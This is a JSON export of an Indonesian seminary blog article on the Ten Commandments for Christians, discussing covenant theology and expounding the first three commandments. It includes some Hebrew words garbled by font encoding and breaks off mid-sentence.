{"id":1542,"date":"2018-12-01T09:29:31","date_gmt":"2018-12-01T02:29:31","guid":{"rendered":"https:\/\/sttkharisma.ac.id\/?p=1542"},"modified":"2026-07-06T01:31:17","modified_gmt":"2026-07-05T18:31:17","slug":"dasa-titah-bagi-orang-kristen","status":"publish","type":"post","link":"https:\/\/sttkharisma.ac.id\/?p=1542","title":{"rendered":"Dasa Titah Bagi Orang Kristen"},"content":{"rendered":"<p>[et_pb_section bb_built=&#8221;1&#8243;][et_pb_row][et_pb_column type=&#8221;4_4&#8243;][et_pb_text _builder_version=&#8221;3.3.1&#8243;]<\/p>\n<p><strong>Oleh: Yohanes R. Suprandono, M.Th.<\/strong><\/p>\n<p><strong>Pendahuluan<\/strong><\/p>\n<p>Adanya \u00a0kecenderungan orang-orang \u00a0Kristen untuk \u00a0di satu sisi bersikap legalistik, di sisi lain menjadi penganut antinomianisme, atau menjadi orang yang hidupnya penuh kepalsuan dan kepura-puraan, oleh karena itu maka \u00a0mereka perlu ditantang kembali dengan pemahaman akan titah-titah Tuhan dalam kerangka berpikir yang baru. \u00a0Orang Kristen \u00a0penganut \u00a0legalisme \u00a0menganggap \u00a0titah\u00a0 Tuhan \u00a0harus \u00a0ditaati \u00a0dengan \u00a0kekuatan sendiri dan menuntut orang lain melakukan praktek-praktek ketaatan yang dipaksakan dan diperberat. Ekstrim sebaliknya orang Kristen penganut antinomianisme yang hidup bebas tanpa aturan dan ketertiban, kehidupannya tidak disiplin sehingga tidak berbuah. Yang terakhir, kelompok orang Kristen yang tidak memiliki integritas- tidak \u00a0ada keterpaduan antara apa yang dipercayai dengan kelakuan mereka sehari-hari. Mereka perlu memahami dengan sudut pandang yang benar terhadap titah-titah Tuhan, supaya mereka terhindar dari pemikiran dan \u00a0sikap ekstrim di atas, hingga sebagai hasilnya mereka akan \u00a0menjadi orang Kristen yang otentik. Orang Kristen yang dikenan dan menjadi \u00a0lh;q ; \u00a0 umat kesayangan Tuhan.<\/p>\n<p>Secara teologi dan sejarah, Walter Eichrodt telah memberikan penjelasan konsteks\u00a0\u00a0 \u00a0kedalaman\u00a0\u00a0 \u00a0hubungan\u00a0\u00a0 \u00a0Allah dan umat-Nya.\u00a0\u00a0 \u00a0Perjanjian (Covenant) menurutnya\u00a0 sebagai\u00a0 pusat\u00a0 teologi Perjanjian Lama (disingkat: TPL). Covenan adalah \u00a0sebuah \u00a0tema \u00a0yang \u00a0menyatukan. Ia\u00a0 \u00a0menegaskan\u00a0 \u00a0tentang\u00a0 \u00a0kegiatan\u00a0\u00a0 Allah di antara umat-Nya.\u00a0 \u00a0Menurutnya,\u00a0\u00a0\u00a0 \u00a0sifat kharakter yang unik dari Allah Israel adalah memegang\u00a0 bersama-sama\u00a0 gagasan tentang kuasa ilahi yang tanpa batas \u2013 <em>a divine power without limitation \u00a0<\/em>dan kegiatan Allah dengan membatasi diri \u2013 <em>a divine act of self limitation<\/em>, \u00a0dalam membangun sebuah covenant (brit)-sebuah tindakan di mana Allah membuat diri-Nya dikenal sebagai berdaulat \u00a0dan \u00a0memiliki \u00a0kehendak \u00a0pribadi<\/p>\n<p>-as sovereign and personal will. Kehendak Allah yang dinyatakan dalam Perjanjian, memberikan kuasa yang membuat manusia mengetahui siapa mereka. (1961:286-296). Kehendak Allah menyatukan suku-suku Israel menjadi bangsa Qahal\u00a0\u00a0\u00a0 \u00a0atau edah hd;[\u00a0\u00a0 \u00a0artinya \u201cpersekutuan\u201d atau \u201cjemaat\u201d- yang mengandung nuansa religius tertentu.<\/p>\n<p>Atau kadang kala disebut \u00a0myhla&lt;\u00a0\u00a0 \u00a0m[\u00a0\u00a0\u00a0 \u2018am Elohim\u00a0\u00a0\u00a0 \u201cumat Allah\u201d\u00a0 \u00a0atau hwhy \u00a0m[\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u2018am Yahweh\u201d \u201cUmat Yahweh\u201d. 66<\/p>\n<p>Selanjutnya seorang \u00a0pakar Teologi PL \u00a0Walter C Kaiser Jr \u00a0dalam buku, <u>Teologi<\/u> <u>Perjanjian Lama<\/u> \u00a0, \u00a0melihat tema janji (The promise) sebagai pusatnya. Ia menunjukkan tema ini dikenal dalam PL, dengan konstelasi kata seperti janji, sumpah, perhentian, keturunan dan rumusan seperti tiga lapis: \u201cAku hadir di tengah-tengahmu dan Aku akan menjadi Allahmu dan kamu akan menjadi umat-Ku\u201d atau rumusan pernyataan keselamatan yang tersebar sebanyak 125 kali \u00a0dalam \u00a0PL \u00a0: \u00a0\u201c Akulah \u00a0Tuhan Allahmu yang\u00a0 membawa\u00a0 kamu\u00a0 keluar\u00a0 dari\u00a0 Mesir\u201d. Hal ini dapat dilihat sebagai \u00a0satu rencana ilahi dalam sejarah yang menjanjikan suatu berkat \u00a0universal \u00a0atau \u00a0tema \u00a0\u201cjanji \u00a0berkat ilahi\u201d. Kejadian 12:3 : \u201c\u2026olehmu semua kaum di muka bumi akan mendapat berkat\u201d. Hal ini dapat dilihat sebagai suatu rencana ilahi dalam sejarah \u00a0yang menjanjikan suatu berkat \u00a0universal \u00a0atau \u00a0\u201ctema \u00a0janji \u00a0berkat ilahi.\u201d (2004:24-25, 50-53).<\/p>\n<p>Dalam \u00a0kerangka \u00a0teologi \u00a0perjanjian\u00a0dan teologi janji berkat yang diawali dari kitab Kejadian dan teologi penebusan dalam kitab Keluaran, dekalog akan dijelaskan. \u00a0Eugene H \u00a0Merill \u00a0mengatakan: \u00a0\u201c\u2026 \u00a0fungsi \u00a0formal serta teologis dari dekalog menjadi jelas ketika dilihat menurut konteks penebusan dalam kitab keluaran dan melalui maksud Allah memilih Israel menjadi bangsa yang menjadi hamba-Nya, yang dibawa ke dalam hubungan perjanjian dengan Dia untuk melayani sebagai kerajaan imam (Imamat yang rajani)\u2026\u201d Selanjutnya dikatakannya: \u201cPeristiwa Keluaran telah membebaskan bangsa\u00a0 itu\u00a0 dari\u00a0 perbudakan\u00a0 kepada\u00a0 tuan lain, sehingga ia bisa mulai melaksanakan pertanggungjawaban kepada TUHAN. Teks perjanjian itu, khususnya Sepuluh Perintah, memberi petunjuk agar bangsa yang diistimewakan itu mengatur dirinya agar sungguh-sungguh\u00a0 bisa\u00a0 menjadi \u00a0bangsa yang kudus yang dapat mempertunjukkan Kerajaan Allah dan mengkomunikasikan kebaikan-kebaikan serta janji-janji keselamatan bagi dunia (lingkungan) lebih luas yang terdiri dari umat manusia yang terasing.\u201d (2005: 82-83)<\/p>\n<p>Perjanjian yang diterima bapak- bapak\u00a0 beriman\u00a0 (patriakh)\u00a0 dan\u00a0 Israel sebagai umat Tuhan merupakan sebuah pilihan \u00a0yang \u00a0didasarkan \u00a0pada \u00a0anugerah yang \u00a0tak\u00a0 bersyarat.\u00a0 \u00a0\u00a0Meskipun \u00a0demikian, jika diperhatikan pembahasan dekalog dalam konteks dekatnya yakni Keluaran 19, rupanya ada syarat yang diberikan untuk menjadi umat kesayangan, kerajaan imam yang kudus, yakni dengan harga sebuah ketaatan akan perintah Allah. Di sini nampak jelas kedudukan Allah sebagai TUHAN dan Israel di sini memiliki posisi sebagai hamba. Penggenapan janji Allah sangat tergantung kepada pilihan Israel untuk taat.<\/p>\n<p>Hal \u00a0yang \u00a0demikian \u00a0juga \u00a0berlaku bagi orang-orang Kristen yang adalah umat Perjanjian Baru -a new Covenant people- yang dimeteraikan dengan darah Yesus yang\u00a0 adalah\u00a0 darah\u00a0 perjanjian\u00a0 -The\u00a0 blood of covenant (Mat. 26:28-\u00a0 \u00a0For this is My blood of the new covenant, which is shed for many for the remission of sins- NKJV). Kristus adalah domba Allah yang menjadi<\/p>\n<p>harga tebusan. \u00a0Dengan menerima Kristus, kita menerima pemberian Allah sebagai anugerah, keselamatan dalam Kristus kita terima dengan iman bukan sebagai hasil perbuatan (Baca: Ef. 2:8-10 <em>\u201cFor it is by grace you have been saved, through faith- and this not from yourselves, it is the gift of God- 9 not by works, so that no one can boast. 10 For we are God\u2019s workmanship, created in Christ Jesus to do good works, which God prepared in advance for us to do<\/em>-NIV. Huruf italic ditambahkan penulis). Meskipun\u00a0\u00a0 demikian\u00a0\u00a0 ada\u00a0\u00a0 pekerjaan\u00a0\u00a0 baik yang dipersiapkan Alllah sebelumnya bagi kita. Kita (baca: orang Kristen) dipanggil untuk\u00a0\u00a0\u00a0\u00a0 \u00a0membayar\u00a0 harga\u00a0 pemuridan dengan mengikuti Yesus (baca: Titah-Nya), menyangkali diri dan memikul salibnya (Baca: Mat. 10: 38 \u201cBarangsiapa tidak memikul \u00a0salibnya \u00a0dan \u00a0mengikut \u00a0Aku, \u00a0ia tidak layak bagi-Ku.\u201d). Dengan perkataan lain, ada harga yang harus di bayar yaitu ketaatan kepada Tuhan dan Juru Selamat kita Yesus Kristus. Pendeknya baik bagi umat\u00a0\u00a0 Yahweh\u00a0 \u00a0maupun\u00a0 \u00a0umat\u00a0 \u00a0Perjanjian Baru, ada\u00a0 \u00a0titah Allah yang\u00a0 \u00a0harus ditaati. Hal ini terjadi oleh karena kita ada di dalam otoritas Allah.\u00a0 \u00a0Firman itulah yang akan mengarahkan kehidupan \u00a0moral, rohani dan kehidupan sosial. Adapun tujuannya untuk menghasilkan pengenalan yang lebih baik akan Allah dan komitmen yang lebih besar kepada-Nya.<\/p>\n<p>Atas dasar\u00a0\u00a0 \u00a0alasan ini,\u00a0\u00a0 \u00a0maka pembahasan dasa titah bagi orang Kristen masih relevan. Hal ini juga dikarenakan dasa titah merupakan hukum yang sifatnya moral yang bersumber dari kharakter Allah yang kudus dan adil. Istilah Ibrani \u00a0<em>mitswah <\/em>yang artinya perintah atau titah yaitu perintah Allah untuk ditaati dan diajarkan kepada generasi baru yakni anak-anak kita.<\/p>\n<p>Bagi orang Kristen (baca: Gereja), prinsip-prinsip\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0atau\u00a0 \u00a0ajaran\u00a0 \u00a0PL\u00a0 \u00a0yang tidak dibatalkan atau tidak diubah dalam Perjanjilan Baru bersifat \u00a0normatif \u00a0artinya masih berlaku.\u00a0 \u00a0Secara spesi\ufb01k di sini berkenaan dengan 10 perintah Allah masih berlaku, namun demikian orang Kristen mentaatinya dengan cara dan dalam atmos\ufb01r yang baru- tidak bersifat legalistik, melainkan dalam anugerah oleh Roh Kudus, kita \u00a0mentaati \u00a0perintah-Nya. Dalam \u00a0Injil, dasa titah telah diringkaskan Tuhan Yesus menjadi hukum kasih (lihat, \u00a0Mat 22:37-39 ). Dalam surat Paulus, dinyatakannya bahwa kasih itulah kegenapan hukum Taurat \u00a0(lihat, Rom 13:8-10).<\/p>\n<p>Roh Kudus sendiri yang berdiam dalam diri orang Kristen dan Ialah yang telah menuliskan hukum itu dalam hati kita-orang- orang \u00a0yang \u00a0telah percaya pada Injil Yesus Kristus (bdg. 2 Kor. 3:3).<\/p>\n<p>Sebenarnya\u00a0\u00a0 dasa\u00a0\u00a0 titah\u00a0\u00a0\u00a0\u00a0 \u00a0memiliki dua sasaran- untuk mengembangkan hubungan rohani dengan Tuhan\u00a0 \u00a0yakni mengasihi Tuhan dengan segenap hidup (Titah 1-4) dan mengembangkan kehidupan moral yang benar dalam hubungan dengan manusia- mengasihi sesama manusia (titah\u00a05-10). \u00a0Hal ini \u00a0merupakan skema dua jalan yang sangat berguna untuk menjelaskan kewajiban fondamental\u00a0 \u00a0manusia kepada Allah (kewajiban religius) dan kewajiban manusia kepada sesamanya (kewajiban moral).<\/p>\n<p>Juga masih menurut Rasul Paulus, untuk\u00a0 menjadi \u00a0orang \u00a0Kristen \u00a0jaman sekarang bukan berarti hidup tanpa hukum (antinomian),\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0sebaliknya\u00a0 \u00a0ada\u00a0 \u00a0standar yang dipakai sebagai pola hidup Kristen. Tuhan Yesus Sang Guru Agung kita bahkan memberikan standar \u00a0yang lebih tinggi bagi pengikutnya. Yesus berkata: Hendaklah kamu sempurna, sebab Bapamu sempurna (Mat. 5:48). Menjadi sempurna artinya terus bertumbuh menjadi dewasa atas dasar ketaatan atas titah-Nya.<\/p>\n<p>Untuk mendapat \u00a0makna dasa titah bagi orang Kristen dilakukan dengan cara mendeskripsikannya, dan baru kemudian menerapkannya dalam kehidupan orang Kristen.\u00a0\u00a0 \u00a0Penulis\u00a0\u00a0 \u00a0akan memusatkan perhatian \u00a0pada soal menguraikan \u201carti dari ayat\u201d dan baru kemudian makna ayat itu untuk masa kini.\u00a0 \u00a0Namun demikian akan coba dipahami latarbelakang Alkitab dari sudut lingkungan sosio kulturalnya, tatanan sosialnya, dan lingkungan kebudayaannya di antara agama-agama dan bangsa-bangsa\u00a0lain di sekitar Israel.<\/p>\n<p><strong>Penjabaran Dasa Titah dalam Keluaran\u00a0<\/strong><strong>20:1-21<\/strong><\/p>\n<p>Dasa titah merupakan hukum dasar umat Perjanjian, yang pertama kali di catat dalam Keluaran sebagai Perjanjian Sinai, kemudian di baharui lagi dalam perjanjian di dataran Moab dalam Ulangan 5. Dalam kedua catatan itu tidak ada perbedaan esensi. Dalam kesempatan ini akan diuraikan dari catatan dasa titah dalam perjanjian di Sinai.<\/p>\n<p>Pada pokoknya, hukum taurat mengungkapkan sifat kehidupan dalam perjanjian\u00a0\u00a0 (Kel.\u00a0\u00a0 19:5-6).\u00a0\u00a0 Legislasi\u00a0\u00a0 yang dibuat Tuhan sebagai Raja Israel, dimaksudkan untuk mengatur umat dalam menjalin hubungan vertikal dengan diri-Nya dan hubungan horisontal dengan sesama anggota Umat Conenan.\u00a0 \u00a0Konstitusi yang di dasarkan pada kasih kepada Sang Raja dan kasih kepada sesama umat milik sang Raja. \u00a0Di atas fondasi perjanjian (covenan), di tegakkan dua pilar \u00a0untuk secara totalitas mengasihi Tuhan dan Rajanya dan sebagai implikasinya mengasihi sesamanya.<\/p>\n<p>Nampak\u00a0\u00a0 dengan\u00a0\u00a0 jelas\u00a0\u00a0 sekali, Tuhan\u00a0\u00a0 \u00a0yang sedang membentuk Negara teokrasi, Ia hendak memelihara umat-Nya dengan\u00a0 \u00a0memberikan\u00a0 \u00a0struktur,\u00a0 \u00a0kebijakan dan\u00a0\u00a0\u00a0 prosedur\u00a0\u00a0\u00a0 dalam\u00a0\u00a0\u00a0 hidup\u00a0\u00a0\u00a0 bersama. Hal ini demi menjamin ketertiban dan pemeliharaan masyarakat yang baru. Kebijakan masyarakat Israel dilandasi dengan pengertian dirinya sendiri sebagai suatu masyarakat Perjanjian. \u00a0Dan melalui pembukaan dasa titah (Yunani: dekalog- deka \u00a0artinya \u00a0sepuluh, \u00a0Log-logos \u00a0artinya titah, sabda), akan dilihat karakeristik ilahi sebagai \u00a0pemakluman kehendak Allah yang menuntut umat dalam sikap iman kepada- Nya.<\/p>\n<p>Menurut seorang pakar PL, Vriezen, dasa titah berasal dari zaman Musa. Adapun alasannya; para nabi memanfaatkan tradisi dasa titah; Daud tunduk secara mutlak terhadap \u00a0hukum \u00a0ini- \u00a0artinya- \u00a0\u201chukum \u00a0di atas \u00a0raja.\u201d \u00a0Dasa \u00a0titah \u00a0sebagai ringkasan\u00a0hukum \u00a0apodiktik-\u00a0 janganlah\u00a0 engkau, menjadi dasar untuk hukum pidana di Israel. Hukum berfungsi mencegah pelanggaran- pelanggaran ekstrem, dan secara positif untuk membela hak-hak azasi warga Israel, ini merupakan pedoman ideal, penggarisan prinsip-prinsip dasar atas norma-norma kehidupan nasional dan bukan rumusan yuridis ketat. Kalimat-kalimat dasa titah mencakup seluruh kehidupan yakni agama, keluarga,\u00a0 masyarakat,\u00a0 harta\u00a0 benda, kelakuan dan proses dalam proses-proses pengadilan.<\/p>\n<p>Masih \u00a0menurut \u00a0Vriezen,\u00a0 bahwa dunia Asia Barat Daya kuno sudah agak biasa dengan rumusan hukum berupa perencanaan pembaharuan masyarakat. Biasanya program tersebut dirumuskan oleh Raja pada awal \u00a0periode kedaulatannya , yaitu sebagai titik tolak dari zaman baru. Dasa titahpun memberikan kesan bahwa rumusannya dimaksudkan sebagai program penginagurasian\u00a0 \u00a0zaman baru. Misalkan, dalam kata-kata pembukaannya yang langsung dengan pernyataan Yahweh. Dasa titah merupakan ringkasan prinsip-prinsip hukum paling awal, yang dimaksudkan memberikan arah pada kehidupan masyarakat yahwistis yang baru, dalam semua hubungan internnya, baik bersifat keagamaan maupun kemasyarakatan.<\/p>\n<p>Vriezen berbeda dengan pendapat Mendenhall yang menganggap rumusan dasa titah itu mirip sekali dengan rumusan\u2013rumusan seperti yang terdapat dalam naskah-naskah\u00a0\u00a0 \u00a0perjanjian Hatti (Hetit) sehingga dasa titah harus dipandang sebagai naskah perjanjian yang formal, bahwa naskah dasa titah sebaya dengan naskah-naskah perjanjian Hetit.\u00a0 \u00a0Vriezen berpendapat, dasa titah lebih mirip kodex hukum daripada naskah perjanjian. Misalkan, kalimat pembukaan lebih mirip pembukaan kodeks Hamurabi (2000: 145-149).<\/p>\n<p>Meskipun ada kemiripan dalam segi peredaksiannya, dengan catatan historis bangsa-bangsa tetangga di Asia Barat\u00a0\u00a0 Daya\u00a0\u00a0 kuno, mungkin saja mirip dengan\u00a0 model\u00a0 naskah\u00a0 perjanjian\u00a0 atau mirip dengan kodex hukum, namun yang\u00a0pasti bagi Dyrness, tetap saja sifat-sifat hukum Taurat mengungguli hukum-hukum bangsa \u00a0tetangganya. \u00a0Hal \u00a0ini \u00a0bisa \u00a0dilihat dari beberapa kharateristiknya sebagai berikut; 1. Jangkauan yang luas \u00a0-seluruh kehidupan dalam kontrol kehendak Allah; 2. Imbauan yang bersifat pribadi artinya alasan yang paling kuat untuk taat haruslah hati yang tergugah, suatu \u00a0keputusan batin dan moral pribadi; \u00a03. Kekuatan mutlak karena didasarkan pada kekudusan Allah sehingga menuntut\u00a0 kesempurnaan\u00a0 seluruh\u00a0 umat- Nya; \u00a04. Penerapan yang bersifat universal- berlaku \u00a0untuk \u00a0semua \u00a0bangsa \u00a0(2004: \u00a0118-120).<\/p>\n<p>Sekarang kita sampai kepada pembukaan dasa titah, di sana dinyatakan\u00a0: \u00a0\u201cAkulah \u00a0TUHAN, \u00a0Allahmu\u201d \u00a0(Kel. \u00a020:2). Ini menunjukkan relasi khusus TUHAN dengan Israel. Hukum diberikan sebagai akibat relasi ini. Hukum Taurat menunjukkan kepada bangsa itu perilaku yang bagaimana yang sesuai dengan kedudukan mereka sebagai umat kepunyaan Allah. Israel tidak mematuhi hukum Taurat supaya menjadi umat Allah tetapi justru sebaliknya mereka adalah umat Allah. Hubungan dengan Allah sebagai umat perjanjian dan pemberian hukum Taurat itu merupakan pernyataan anugerah Allah. Tanggapan yang layak dari umat-Nya terhadap prakarsa-prakarsa Allah adalah ketaatan yang konstan. Menurut pemazmur, Torah bukan merupakan beban tetapi \u00a0menyenangkan \u00a0(Maz. \u00a019:10; \u00a01:2-3). Frasa \u201cAkulah TUHAN\u201d juga menunjuk kepada Sang Pemberi \u00a0hukum memberikan hukum itu dalam atmos\ufb01r anugerah, sebab Dialah Raja Penyelamat umat-Nya. \u00a0Dalam bagian berikut ini akan diuraikan secara singkat \u00a0dasa \u00a0titah dan \u00a0maknanya \u00a0bagi orang Kristen:<\/p>\n<p><strong>T<\/strong><strong>itah Pertama: \u201cJangan ada allah lain di hadapan-KU\u201d (20:3)<\/strong><\/p>\n<p>Dilatarbelakangi oleh kebudayaan Mesir Kuno yang sangat politheistis, dimana mereka memuja banyak dewa, titah ini sangat krusial. Pengajaran\u00a0 \u00a0ini tujuannya untuk\u00a0 melindungi\u00a0 teologi\u00a0 yang\u00a0 benar. Frasa \u201cjangan ada allah lain\u201d \u2013 allah\u2013allah\u00a0yang \u00a0dimaksud \u00a0di \u00a0sini \u00a0dewa-dewi \u00a0asing yang dipuja bangsa-bangsa yang belum mengenal Yahweh. Sedangkan frasa\u00a0 \u00a0\u201cdi hadapan-Ku\u201d dalam bahasa aslinya artinya \u201ckecuali \u00a0Aku\u201d. \u00a0Barangkali \u00a0ayat \u00a0ini \u00a0paling baik\u00a0 perlu\u00a0 diterjemahkan,\u00a0 \u201c\u00a0 Kalian\u00a0 harus tidak \u00a0memilih \u00a0allah \u00a0lain \u00a0di \u00a0hadapan-Ku.\u201d Hasil akhirnya sama: TUHAN adalah satu- satunya Allah (Kaiser,1994:99).<\/p>\n<p>Orang Yahudi sebagai umat Perjanjian\u00a0 demikian\u00a0 juga\u00a0 Kristen\u00a0 dan semua \u00a0orang \u00a0yang \u00a0mendengarkan \u00a0titah ini diperintahkan supaya memeluk asas monotheisme \u2013 mengesakan Allah dalam totalitas hidupnya. \u00a0Dalam PB Tuhan Yesus menekankan\u00a0\u00a0 bahwa\u00a0\u00a0 penyembahan\u00a0\u00a0 dan bakti hanya boleh ditujukan kepada Allah saja (lihat, Matius 4:10).<\/p>\n<p>Oleh karena titah ini ditujukan juga bagi\u00a0\u00a0 orang\u00a0 \u00a0Kristen,\u00a0 \u00a0maka\u00a0\u00a0 paling\u00a0 \u00a0tidak ada tiga makna sbb: Satu, Ibadah orang Kristen\u00a0 \u00a0harus\u00a0 \u00a0ditujukan\u00a0 \u00a0kepada\u00a0 \u00a0Tuhan saja. tidak boleh ada doa, ibadah, mencari bimbingan \u00a0dan pertolongan kepada \u201callah lain\u201d. atau roh lain atau orang mati atau bentuk\u00a0 penyembahan\u00a0 berhala \u00a0lainnya. (bdg. Im.17:7; Ul. 6:4; 32;17; maz. 106:37;<\/p>\n<p>1 Kor. 10:19-20); Dua, Orang Kristen harus mempersembahkan\u00a0\u00a0\u00a0\u00a0 \u00a0hidupnya\u00a0\u00a0\u00a0\u00a0 \u00a0secara total\u00a0 \u00a0kepada\u00a0\u00a0 Allah.\u00a0 \u00a0Hanya\u00a0\u00a0 Allah\u00a0 \u00a0yang telah menyatakan kehendak-Nya dan menginspirasikan Firman akan membimbing mereka \u00a0(Mat. \u00a04:4); \u00a0Tiga, \u00a0Orang \u00a0Kristen harus\u00a0 memiliki\u00a0 tujuan\u00a0 dalam\u00a0 hidupnya untuk mencari dan mengasihi\u00a0 Allah dengan segenap hidupnya, jiwa dan kekuatan, bergantung kepadanya untuk menyediakan hal yang baik dalam hidupnya (Ul. 6:5; Maz.\u00a0119:2; Mat. 6:33; Fil. 3:8; Lih. Mat. 22:37; Kol. 3:5). (Full Life Study Bible,199l: 119).<\/p>\n<p><strong>T<\/strong><strong>itah \u00a0Kedua: \u201cJangan membuat bagimu patung yang menyerupai apapun \u2026.\u201d (20:4)<\/strong><\/p>\n<p>Secara lengkap Keluaran 20:4-6 berbunyi: \u201cJangan membuat bagimu patung yang menyerupai apapun yang ada di langit di atas, atau yang ada di bumi di bawah, atau yang ada di dalam air di bawah bumi. Jangan sujud menyembah kepadanya atau<\/p>\n<p>beribadah kepadanya, sebab Aku, TUHAN, Allahmu, adalah Allah yang cemburu, yang membalaskan\u00a0 kesalahan\u00a0 bapa\u00a0 kepada anak-anaknya, kepada keturunan yang ketiga dan keempat dari orang-orang yang membenci Aku,\u00a0 \u00a0tetapi Aku menunjukkan kasih setia kepada beribu-ribu orang, yaitu mereka yang mengasihi Aku dan yang berpegang pada perintah-perintah-Ku.\u201d (Terjemahan Baru, LAI tahun 2009).<\/p>\n<p>TUHAN tidak bisa dibandingkan dengan bentuk apapun. \u00a0Tidak ada yang setara dengan TUHAN. Pelanggaran terhadap perintah ini \u00a0merupakan penolakan terhadap \u201cketuhanan\u201d Allah atas hidup mereka. Kasih setia Allah (Ibrani: hesed) seharusnya ditanggapi dengan kesetiaan kita kepada-Nya. Hukum ini mengajarkan ibadah yang benar .<\/p>\n<p>TUHAN \u00a0Allah \u00a0\u2013 \u00a0Dia \u00a0adalah \u00a0Allah yang cemburu (Yes. 54:21; 45:6,14). Menurut\u00a0 \u00a0Kaiser\u00a0 \u00a0dalam\u00a0\u00a0 <u>The\u00a0 \u00a0Expositor\u2019s<\/u> <u>Bible Commentary<\/u>, \u00a0kata \u201cCemburu\u201d \u00a0ketika digunakan untuk Allah, menunjukkan : Satu, Sifatnya yang menuntut pemujaan yang ekslusif (Kel. 34:14; Ul. 4:24; 5:9 ; 6:15): Dua,\u00a0 \u00a0sikap yang marah yang ditujukan kepada\u00a0 \u00a0semua\u00a0 \u00a0yang\u00a0 \u00a0melawannya\u00a0 \u00a0(Bil.<\/p>\n<p>25:11; Ul. 29:20; Maz. 79:5 dll, dan; Tiga, Penyembahan berhala yang disebut sebagai persundalan rohani, yang akan menyaingi atau \u00a0menandingi \u00a0kehormatan, \u00a0kemuliaan dan\u00a0 \u00a0nama\u00a0 \u00a0baik\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0karena\u00a0 \u00a0Allah,\u00a0 \u00a0yang akan membangkitkan kecemburaannya karena kekonsistenan\u00a0 \u00a0karakternya dan kepribadiannya. Pelanggaran\u00a0\u00a0 \u00a0terhadap perintah ini berakibat serius dari generasi kepada generasi. Anak-anak seringkali mengulangi dosa-dosa orang tuanya dengan secara pribadi membenci Allah\u00a0 \u00a0sehingga sebagai akibatnya mereka juga dihukum seperti orang tuanya. \u00a0Musa menjelaskan bahwa itu adalah hasil dari dosa anak itu sendiri (Ul. 24:16).\u00a0 \u00a0Efek dari ketidaktaatan bertahan\u00a0 dalam\u00a0 waktu\u00a0 yang\u00a0 lama,\u00a0 tetapi efek dari kasih setia Allah juga jauh lebih bertahan lebih lama \u201c kepada ribuan keturunan- \u201cto a thousand generations.\u201d (1994: 100).<\/p>\n<p>Dalam PB, Lukas 16:13\u00a0menegaskan bahwa seorang hamba tidak dapat mengabdi kepada dua tuan. Karena jika demikian ia akan membenci\u00a0 \u00a0yang seorang dan mengasihi yang lain, atau ia akan setia kepada yang seorang dan tidak mengindahkan yang lain. Kamu tidak dapat mengabdi kepada Allah dan kepada Mamon. Jelaslah bagi orang Kristen tidak ada pilihan terbaik kecuali mentaati perintah ini. Ada upah yang menanti bagi yang hidup dalam ketaatan sebaliknya ada balasan setimpal untuk setiap bentuk ketidaktaatan akan titah ini.<\/p>\n<p><strong>T<\/strong><strong>itah Ketiga: Jangan menyebut nama TUHAN, Allahmu, dengan sembarangan\u2026\u201d(20:7)<\/strong><\/p>\n<p>Secara \u00a0lengkap \u00a0dinyatakan \u00a0dalam Kel 20:7 \u00a0\u201cJangan menyebut nama TUHAN, Allahmu, <em>dengan sembarangan<\/em>, sebab TUHAN\u00a0\u00a0 \u00a0akan\u00a0\u00a0 \u00a0memandang\u00a0\u00a0\u00a0\u00a0 bersalah orang yang menyebut nama-Nya dengan sembarangan.\u201d (Terj. Baru. LAI. Huruf miring ditambahkan penulis).\u00a0 \u00a0Pemakaian nama TUHAN harus pada tujuan\u00a0 \u00a0dan sesuai dengan hakekat-Nya. Titah ini bermaksud menjaga kehormatan Tuhan. Nama Allah adalah identitas pribadinya. Menyebut nama- Nya hanya layak di dalam penyembahan- ibadah.\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0Kata\u00a0\u00a0 \u201csembarangan\u201d\u00a0\u00a0 dari bahasa aslinya dipakai\u00a0\u00a0 \u00a0aw&gt;v\u2019 \u00a0shav\u2019 {shawv} atau\u00a0 \u00a0aw&gt;v;\u00a0\u00a0\u00a0 \u00a0shav {shav} artinya;\u00a0 \u00a01) kosong, sia-sia, palsu \u00a01a) kekosongan, kesia-siaan\u00a01b) omong kosong, mengatakan tidak sebenarnya 1c)\u00a0 \u00a0tingkah laku yang tidak layak (Strong, BibleWorks 6.0).<\/p>\n<p>Frasa \u00a0\u201cdengan sembarang\u201d terjemahan dari bahasa ibrani \u00a0<em>lassaw \u00a0<\/em>yang dalam \u00a0terjemahan \u00a0KJV \u00a0<em>in vain\u00a0\u00a0 \u00a0<\/em>yang artinya \u00a0dengan cara yang sia-sia, dengan sikap menghina dan merendahkan, tanpa makna, dengan sembrono, tidak layak. Nama Allah tidak boleh digunakan untuk sesuatu yang sia-sia, tidak sungguh- sungguh.\u00a0 \u00a0menyumpahi demi nama-Nya. Sedangkan dalam terjemahan NIV di pakai istilah <em>misuse \u00a0<\/em>artinya \u00a0menyalahgunakan, mengekploitasi, dengan cara sia-sia (waste), dengan cara yang tidak layak, menggunakan dengan cara yang salah. \u00a0Sehingga titah ini\u00a0maksudnya agar \u00a0kita tidak menggunakan nama Allah misalkan, \u00a0untuk merugikan dan mencelakakan orang lain. Jangan memakai nama Allah untuk mengutuk sesama.<\/p>\n<p>Titah\u00a0 ketiga \u00a0ini, \u00a0berhubungan dengan fungsi kegunaan mulut dalam pemujaan\u00a0 kepada Allah\u00a0 secara\u00a0 benar. Dalam kebudayaan Ibrani,\u00a0\u00a0\u00a0 \u00a0\u201cnama\u201d menunjuk \u00a0kepada \u00a0: \u00a01. \u00a0Sifat,\u00a0 keberadaan dan \u00a0kepribadiaan \u00a0seseorang\u00a0\u00a0 \u00a0(Maz. \u00a020:1;\u00a0Luk.\u00a0 \u00a024:47;\u00a0\u00a0 Yoh\u00a0 \u00a01:12),\u00a0 \u00a0(2)\u00a0 \u00a0pengajaran atau doktrin (Maz.\u00a0 \u00a022:22;\u00a0 \u00a0Yoh.\u00a0 \u00a017:6,\u00a026),\u00a0\u00a0\u00a0 dan\u00a0\u00a0\u00a0 (3)\u00a0\u00a0\u00a0 Pengajaran\u00a0\u00a0\u00a0 Moral\u00a0\u00a0\u00a0 dan etika \u00a0(Mikha \u00a04:5).\u00a0\u00a0\u00a0 \u00a0\u201cMenyebut\u00a0 nama TUHAN, Allahmu, dengan sembarangan\u201d artinyan menyalahgunakannya; atau menggunakannya\u00a0 untuk\u00a0 tujuan\u00a0 yang\u00a0 sia- sia.\u00a0 \u00a0Perintah ini tidak melarang sumpah yang resmi yang penuh\u00a0 \u00a0kesungguhan, kebenaran, keadilan dan kebijaksanaan, karena hal 